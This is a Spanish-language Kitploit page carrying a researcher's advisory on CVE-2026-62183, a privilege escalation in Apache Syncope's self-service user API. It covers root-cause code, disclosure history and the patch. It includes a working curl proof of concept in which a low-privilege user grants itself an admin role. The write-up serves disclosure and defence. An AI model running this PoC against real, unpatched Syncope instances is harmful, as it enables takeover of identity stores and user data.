Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-62183 — Apache Syncope: Escalada de privilegios en el autoservicio de usuarios | Kitploit
Herramientas/GitHubGitHub/nicpwns/cve-2026-62183
Escáneres de VulnerabilidadesAnálisis de CódigoExplotaciónSeguridad WebPapers e InvestigaciónAprendizaje y Educación
GitHubnicpwns/cve-2026-62183

CVE-2026-62183

Apache Syncope: Escalada de privilegios en el autoservicio de usuarios

Ver Repositorio
1hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Sitio web

CVE-2026-62183 — Escalada de privilegios en el autoservicio de usuario de Apache Syncope

Gestión inadecuada de privilegios (CWE-269) en Apache Syncope. Un usuario autenticado con pocos privilegios puede otorgarse a sí mismo roles arbitrarios (y membresías de grupo, recursos externos y un nuevo realm) a través de la API de autoservicio de usuario — operaciones que en cualquier otra ruta de código requieren permisos administrativos — y convertirse así en administrador del almacén de identidades.

Este repositorio es la referencia técnica de la vulnerabilidad: causa raíz, una prueba de concepto confirmada en tiempo de ejecución y notas de reproducción. Un relato narrativo de cómo se encontró se publica por separado (consulta Informe detallado).

De un vistazo

CVECVE-2026-62183
Proveedor / productoApache Software Foundation — Apache Syncope
Paquete afectadoorg.apache.syncope.core:syncope-core-workflow-java
ClaseCWE-269 Gestión inadecuada de privilegios (mecanismo: CWE-862 Autorización ausente)
GravedadImportante (ASF PMC) · CVSS 3.1 8.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Versiones afectadas3.0.0-M0 → 3.0.16 · 4.0.0-M0 → 4.0.6 · 4.1.0-M0 → 4.1.1
Corregido en4.0.7 / 4.1.2 (SYNCOPE-1983) · 3.0.x está en EOL, sin corrección
Confirmado en3.0.16 (distribución independiente, JDK 17), dominio Master

Resumen

El endpoint de actualización de autoservicio de usuario de Apache Syncope, PATCH /users/self/{key}, solo requiere isAuthenticated(). La capa lógica compartida omite la comprobación de autorización para las operaciones "self", mientras que el binder de datos sigue aplicando los campos privilegiados de la solicitud (roles, memberships, resources, auxClasses, realm). El resultado es una escalada de privilegios directa: un usuario con pocos privilegios se autoasigna un rol privilegiado y obtiene de inmediato sus permisos — incluida, con un rol suficientemente potente, la administración completa de todos los usuarios. Cuando el autorregistro está habilitado, el mismo fallo se aplica a doCreate, por lo que un atacante no autenticado puede registrar una cuenta ya privilegiada.

Precondiciones

La vulnerabilidad se aplica cuando está configurado uno de los siguientes adaptadores de flujo de trabajo de usuario (esto es a lo que acota el aviso del proveedor):

  • el adaptador de flujo de trabajo de usuario all-Java, o
  • el adaptador de flujo de trabajo de usuario Flowable con una definición BPMN que no requiera aprobación del administrador para el autorregistro / la autoactualización.

En producción, el autoservicio se maneja normalmente a través de la Enduser UI, que no expone la asignación de roles; llegar a esto requiere que la Core REST API sea invocable por el usuario con pocos privilegios. La PoC en tiempo de ejecución que aparece abajo usa la Standalone Distribution, que Apache documenta como de solo evaluación y que incluye datos semilla (el usuario bellini, los roles integrados User manager / User reviewer) — esos datos semilla no están presentes en un despliegue general. Estas son limitaciones honestas sobre la explotabilidad en el mundo real, no sobre la corrección del fallo.

Causa raíz

Flujo de solicitud para PATCH /users/self/{key}:

root@kitploit:~
UserSelfService.update(UserUR)            common/.../rest/api/service/UserSelfService.java   @PATCH @Path("users/self/{key}")
  → UserSelfLogic.update(...)             core/idrepo/logic/.../UserSelfLogic.java
    → AbstractUserLogic.doUpdate(..., self=true)
      → UserDataBinderImpl.update(...)     core/provisioning-java/.../data/UserDataBinderImpl.java

1. El endpoint solo autoriza "¿hay alguien conectado?" — UserSelfLogic.update:

root@kitploit:~
@PreAuthorize("isAuthenticated() "
    + "and not(hasRole('" + IdRepoEntitlement.ANONYMOUS + "')) "
    + "and not(hasRole('" + IdRepoEntitlement.MUST_CHANGE_PASSWORD + "'))")
public ProvisioningResult<UserTO> update(final UserUR userUR, final boolean nullPriorityAsync) {
    ...
    ProvisioningResult<UserTO> updated = doUpdate(userUR, true, nullPriorityAsync);   // self = true

No se requiere ningún permiso (ni USER_UPDATE, ni alcance de rol/realm).

2. La comprobación de autorización se omite para las operaciones self — AbstractUserLogic.doUpdate:

root@kitploit:~
protected ProvisioningResult<UserTO> doUpdate(final UserUR userReq, final boolean self, ...) {
    ...
    if (!self) {                                   // self == true: the whole block is skipped
        Set<String> authRealms = RealmUtils.getEffective(
                AuthContextUtils.getAuthorizations().get(IdRepoEntitlement.USER_UPDATE), ...);
        userDAO.securityChecks(authRealms, before.getKey(), before.getRealm(), groups);
    }
    ...
}

3. El binder aplica los campos privilegiados de todos modos — UserDataBinderImpl.update(...) aplica el ADD/DELETE de roles, memberships(...) (grupos) y fill(...) (resources / realm) directamente desde la solicitud, sin comprobación de los privilegios de quien llama — se supone que esa comprobación reside en la capa Logic que el paso 2 omite. La ruta de administración (UserLogic.update, @PreAuthorize("hasRole('USER_UPDATE')"), doUpdate(..., false, ...)) sí ejecuta securityChecks; la ruta self no.

El rol escalado surte efecto en la autenticación: AuthDataAccessor.getUserAuthorities(user) recorre userDAO.findAllRoles(user) y une los permisos de cada rol, de modo que el rol autoasignado está activo en la siguiente solicitud/inicio de sesión del usuario. El mismo salto if (!self) está presente en doCreate, lo que extiende el fallo al autorregistro.

En resumen: dos capas asumieron cada una que la otra aplicaba la comprobación de privilegios. El endpoint delegó la autorización en la capa Logic; la capa Logic la omitió para self; el binder confió en que la capa Logic hubiera protegido los campos.

Prueba de concepto

Un usuario autenticado normal sin roles se autoasigna el rol privilegiado integrado User manager (que otorga USER_READ sobre /) y después lee una cuenta arbitraria. Sin acción de administrador, sin configuración especial. Script completo: poc.sh.

root@kitploit:~
B=http://localhost:9080/syncope/rest
H='-H X-Syncope-Domain:Master -H Accept:application/json -H Content-Type:application/json'

# (setup, admin) create a plain user with NO roles → returns entity.key = $K2
curl -s -u admin:password $H -X POST "$B/users" -d '{"_class":"org.apache.syncope.common.lib.request.UserCR",
 "realm":"/","username":"eviluser2","password":"Password123!","mustChangePassword":false,
 "plainAttrs":[{"schema":"fullname","values":["E2"]},{"schema":"surname","values":["Two"]},
 {"schema":"userId","values":["[email protected]"]}]}'

AUTH="-u eviluser2:Password123!"
# [1] baseline — eviluser2 cannot read another account:
curl -s $AUTH $H -o /dev/null -w '%{http_code}\n' "$B/users/bellini"          # -> 403

# [2] THE BUG — eviluser2 self-assigns the existing privileged role "User manager":
curl -s $AUTH $H -X PATCH "$B/users/self/$K2" -d '{"_class":"org.apache.syncope.common.lib.request.UserUR",
 "key":"'"$K2"'","roles":[{"operation":"ADD_REPLACE","value":"User manager"}]}' \
 -w '%{http_code}\n'                                                          # -> 200 ; entity.roles=["User manager"]

# [3] escalated — eviluser2 now reads any account:
curl -s $AUTH $H -o /dev/null -w '%{http_code}\n' "$B/users/bellini"          # -> 200

Observado: [1] 403 → [2] 200 (roles ahora ["User manager"]) → [3] 200. La asignación persiste (confirmado mediante la vista de administración del usuario). La misma estructura de solicitud también autoasigna memberships (grupos), resources (lo que desencadena el aprovisionamiento a sistemas externos) y un nuevo realm.

La PoC utiliza deliberadamente solo llamadas API legítimas y documentadas para demostrar la brecha de autorización. Es una prueba mínima, no un exploit armado — consulta Uso responsable.

Reproducción

Consulta BUILD.md para una configuración en tiempo de ejecución sin Docker ni Maven (Tomcat independiente + Temurin JDK 17) y comprobaciones de disponibilidad, y después:

root@kitploit:~
B=http://localhost:9080/syncope/rest ./poc.sh

Impacto

Cualquier usuario autenticado — incluida la cuenta de autoservicio con menos privilegios — puede otorgarse a sí mismo los permisos de cualquier rol definido. Con un rol que conlleve permisos amplios de USER_* / administración, esto supone la toma del control del almacén de identidades: leer/modificar/eliminar a todos los usuarios, además del aprovisionamiento de cuentas en sistemas externos conectados mediante resources / memberships. Cuando el autorregistro está habilitado, un atacante no autenticado puede registrarse directamente en un estado privilegiado (PR:N, CVSS 9.8). Los permisos concretos obtenidos dependen de los roles realmente definidos en el despliegue objetivo.

Cómo se corrigió

Corregido en 4.0.7 / 4.1.2 bajo SYNCOPE-1983 ("Requiring admin approval for self changes beyond attributes"). UserCR / UserUR incorporaron un predicado requiresApproval() (verdadero cuando una solicitud afecta a roles, membresías, grupos, recursos, relaciones, cuentas vinculadas o gestores de usuario/grupo), y los adaptadores de flujo de trabajo enrutan esas solicitudes self a través de la aprobación del administrador en lugar de aplicarlas directamente. 3.0.x está en fin de vida y no recibe la corrección — los usuarios afectados de 3.0.x deben actualizar a una rama soportada.

Cronología de divulgación

Fecha (2026)Evento
Jun 28Notificado de forma privada a [email protected] con análisis de causa raíz y PoC en tiempo de ejecución
Jul 13El PMC de Apache Syncope lo confirmó; se reservó CVE-2026-62183; gravedad evaluada como importante
Jul 20Correcciones publicadas (4.0.7 / 4.1.2); se publicaron el aviso del proveedor y el registro CVE

Créditos

Investigadores acreditados, según el registro CVE: Nic Jones (@NicPWNs) y elin kai. Este repositorio documenta el análisis a nivel de código fuente y la PoC confirmada en tiempo de ejecución que aportó Nic Jones.

Informe detallado

Un relato narrativo de la investigación — metodología, la auditoría del proyecto Apache que lo sacó a la luz y cómo se confirmó en tiempo de ejecución — está en mi blog: Del autoservicio al administrador: una escalada de privilegios en Apache Syncope.

Referencias

  • Registro CVE — https://www.cve.org/CVERecord?id=CVE-2026-62183
  • Aviso del proveedor de Apache (hilo de anuncio) — https://lists.apache.org/thread/6r8cngvy43y2yk4jj3w060dt8vx0yzpr
  • Avisos de seguridad de Apache Syncope — https://syncope.apache.org/security
  • Commit de la corrección ([SYNCOPE-1983]) — https://github.com/apache/syncope/commit/4367f4345cb298eb0b327f037ca0807b5b84ac76

Uso responsable

Este material se publica con fines defensivos y educativos después de la divulgación coordinada y del lanzamiento de las versiones corregidas. La PoC utiliza solo llamadas API legítimas para demostrar el fallo de autorización; no es una herramienta de explotación masiva. No la utilices contra sistemas que no estés autorizado a probar. Si ejecutas Apache Syncope, actualiza a 4.0.7 / 4.1.2 (o sal de 3.0.x).

Descargar herramienta